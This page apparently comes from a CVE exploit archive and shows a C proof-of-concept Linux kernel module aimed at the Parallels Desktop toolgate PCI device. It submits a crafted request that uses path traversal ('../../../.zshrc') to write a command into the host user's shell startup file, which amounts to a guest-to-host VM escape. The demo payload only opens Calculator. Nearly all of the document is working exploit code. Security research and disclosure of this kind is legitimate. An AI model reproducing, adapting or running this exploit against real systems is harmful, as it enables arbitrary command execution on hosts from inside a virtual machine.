4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / prl_exp.c C
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/pci.h>

u16 baseport;
struct pci_dev* pcidev;

#define TG_PORT_STATUS 0
#define TG_PORT_SUBMIT 8

#define INLINE_SIZE(sz) (((sz)+7)&~7)
#define BUFFER_SIZE(sz) (((sz)+0xfff)&~0xfff)

typedef struct _TG_PAGED_BUFFER {
    u64 Va;
    u32 ByteCount;
    u32 Writable:1;
    u32 Reserved:31;
    u64 Pages[0];
} TG_PAGED_BUFFER;
typedef struct _TG_PAGED_REQUEST {
    u32 Request;
    u32 Status;
    u32 RequestSize;
    u16 InlineByteCount;
    u16 BufferCount;
    u64 RequestPages[1];
    // inline bytes
    // TG_PAGED_BUFFER buffers[]
} TG_PAGED_REQUEST;

void outq(u64 val, u16 port) {
    if (val>>32)
        outl(val>>32, port+4);
    outl(val, port);
}

// assumes buffer addrs will be page aligned
u64 calc_size(u32 inln, u32 bufcount, u64 totbufsz) {
    u64 dsize, dpages;

    totbufsz = BUFFER_SIZE(totbufsz);
    dsize = sizeof(TG_PAGED_REQUEST)+INLINE_SIZE(inln);
    dsize += bufcount*sizeof(TG_PAGED_BUFFER);
    dsize += 8*(totbufsz>>12);

    dpages = 1;
    while (1) {
        u64 delta = 1+((dsize-1)>>12) - dpages;
        if (!delta)
            break;
        dpages += delta;
        dsize += delta*8;
    }
    return dsize;
}

void tg_submit(u64 phys, TG_PAGED_REQUEST* req, u32 sync) {
    outq(phys, baseport+TG_PORT_SUBMIT);
    if (sync)
        while (req->Status == -1)
            yield();
    //printk(KERN_INFO "status: 0x%x\n", req->Status);
}

// inbuf/outbuf should be kmalloc'd
void twobuf_req(u32 op, void *inln, u64 inlnsz, void* inbuf, u64 inlen, void* outbuf, u64 outlen, u32 sync) {
    u64 dsize = calc_size(inlnsz, 2, BUFFER_SIZE(inlen)+BUFFER_SIZE(outlen));
    u64 dpages = (dsize+0xfff)>>12;
    TG_PAGED_REQUEST* req = kzalloc(dsize, GFP_KERNEL);
    TG_PAGED_BUFFER* buf = (void*)&req->RequestPages[dpages]+INLINE_SIZE(inlnsz);
    u64 inphys = virt_to_phys(inbuf), outphys = virt_to_phys(outbuf), reqphys = virt_to_phys(req);
    u32 i;

    if (!req) {
        printk(KERN_WARNING "[x] couldnt alloc 0x%llx bytes for req\n", dsize);
        return;
    }

    req->Request = op;
    req->Status = -1;
    req->RequestSize = dsize;
    req->InlineByteCount = inlnsz;
    req->BufferCount = 2;
    memcpy((void *)&req->RequestPages[dpages], inln, inlnsz);

    buf->Va = inphys;
    buf->ByteCount = inlen;
    buf->Writable = 1;
    for (i = 0; i < (buf->ByteCount+0xfff)>>12; i++)
        buf->Pages[i] = (inphys>>12)+i;
    buf = (void*)&buf->Pages[(buf->ByteCount+0xfff)>>12];
    buf->Va = outphys;
    buf->ByteCount = outlen;
    buf->Writable = 1;
    for (i = 0; i < (buf->ByteCount+0xfff)>>12; i++)
        buf->Pages[i] = (outphys>>12)+i;

    for (i = 0; i < dpages; i++)
        req->RequestPages[i] = (reqphys>>12)+i;

    tg_submit(reqphys, req, sync);
    //kfree(req);
}

void exploit(void) {
    char inln[0x200];
    char *CR = kzalloc(0x1000, GFP_KERNEL);
    char *pbProcName = kzalloc(0x1000, GFP_KERNEL);

    memset(inln, 0, sizeof(inln));
    *(uint32_t *)(inln + 0) = 1;
    *(uint32_t *)(inln + 8) = 4;
    *(uint32_t *)(inln + 0x1c) = 1;
    *(uint32_t *)(inln + 0x110) = 1;
    strcpy(CR, "open /System/Applications/Calculator.app\n");
    strcpy(pbProcName, "../../../.zshrc");

    twobuf_req(0x8323, inln, 0x200, CR, strlen(CR), pbProcName, strlen(pbProcName)+1, 0);

    //kfree(CR);
    //kfree(pbProcName);
}

int tg_probe(struct pci_dev* dev, const struct pci_device_id* id) {
    int ret;
    pcidev = dev;
    ret = pci_enable_device(dev);
    if (ret) {
        printk(KERN_WARNING "[x] failed to enable device: %d\n", ret);
        return ret;
    }
    printk(KERN_INFO "[+] device enabled\n");
    ret = pci_set_dma_mask(dev, DMA_BIT_MASK(64));
    if (ret) {
        printk(KERN_WARNING "[x] failed to set dma mask: %d\n", ret);
        return ret;
    }
    ret = pci_request_region(dev, 0, "prl_exp_portio");
    if (ret) {
        printk(KERN_WARNING "[x] failed to request portio region: %d\n", ret);
        return ret;
    }
    baseport = pci_resource_start(dev, 0);
    printk(KERN_INFO "baseport: 0x%hx\n", baseport);
    exploit();
    return 0;
}

void tg_remove(struct pci_dev* dev) {
    pci_release_region(dev, 0);
    pci_disable_device(dev);
}

static struct pci_device_id pci_ids[] = {
    {PCI_DEVICE(0x1ab8, 0x4000)},
    {0}
};
static struct pci_driver tg_driver = {
    .name = "prl_exploit_driver",
    .id_table = pci_ids,
    .probe = tg_probe,
    .remove = tg_remove
};

static int __init init_tg_module(void) {
    int ret;
    ret = pci_register_driver(&tg_driver);
    if (ret) {
        printk(KERN_WARNING "[x] failed to register driver: %d\n", ret);
        return ret;
    }
    return 0;
}
static void __exit exit_tg_module(void) {
    printk(KERN_INFO "[+] unregistering driver\n");
    pci_unregister_driver(&tg_driver);
}
module_init(init_tg_module);
module_exit(exit_tg_module);

MODULE_LICENSE("GPL");